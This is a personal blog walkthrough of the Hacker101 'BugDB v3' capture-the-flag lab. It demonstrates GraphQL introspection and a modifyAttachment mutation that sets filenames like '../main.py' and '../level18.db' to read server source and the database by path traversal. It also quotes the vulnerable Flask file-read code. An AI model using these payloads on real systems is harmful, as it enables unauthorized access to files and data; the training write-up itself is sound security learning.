root@najam~#

Cyber Soldier | Software Engineer

12 April 2021

Hacker 101 CTF Walkthrough: BugDB v3

by Najam Ul Saqib

 This CTF like the previous one too has some mutations in it so likely we have to play with mutations. It's always a good idea to give introspection query a try with GraphQL voyager which retrieved following result:


We can see something different in this graph i.e attachments. That being said lets explore the documentation to carve a query that returns all the data available on the endpoint

query{
user{
edges{
node{
id
username
bugs{
edges{
node{
id
private
reporterId
attachments{
edges{
node{
id
bugId
filename
}
}
}
}
}
}
}
}
}
}
This query returns all the data as follows.
 
 

The attachments field is empty. Now let's move to the  mutations section to see what sort of mutations are allowed.

 

Apparently, we can attach files to the server and modify attached files. Alright, Lets try attaching a file using

mutation{
  attachFile(bugId:1, contents:"file"){
    ok
  }
}

Let's look at the file attached using the same query:

query{
  user{
    edges{
      node{
        id
        username
        bugs{
          edges{
            node{
              id
              private
              reporterId
              attachments{
                edges{
                  node{
                    id
                    bugId
                    filename
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

 

Now there's something in the attachments field, some random strings representing the file we have added.The files being uploaded to the server are available at /attachments endpoint followed by the ID of the attachment i.e http://35.227.24.107/170c56e23c/attachments/1

It shows the contents of the file 

 

If we can change the name of the file we have added we can read some other files on the server as well. In this case, these are python files. We'll change the file name of our present file to ../main.py using following mutation

mutation{
modifyAttachment(id:1, filename:"../main.py"){
ok
}
}


 Why we did this is because the server just shows us the contents of the file whose name is mentioned so if we exploit this weakness we can potentially read any file on the server.

Try reading the file again by hitting the URL: http://35.227.24.107/170c56e23c/attachments/1

 

Woah, we can see some Python code.

By reading the code carefully we can verify our hypothesis

def attachment(id): 
attachment = Attachment.query.filter_by(id=id).first()
return file('attachments/%s' % attachment.filename, 'r').read()

The server is actually returning every file whose name is mentioned in the attachment. By further reading the code we can see some db contexts as well  so why not try fetching the models.py file, its the file that contains the DB information in Python Flask.

We will use the same method of changing the file name using mutation.

mutation{
modifyAttachment(id:1, filename:"../model.py"){
ok
}
}

and hit the URL to read the file contents

 

In the beginning of the code we can see a database

engine = create_engine('sqlite:///level18.db', convert_unicode=True)

 Again, to read this db's content we will go through the same procedure of using mutation and then hitting the URL.

mutation{
modifyAttachment(id:1, filename:"../level18.db"){
ok
}
}

Here is our flag. 


 

tags: ctf - hackerone - walkthrough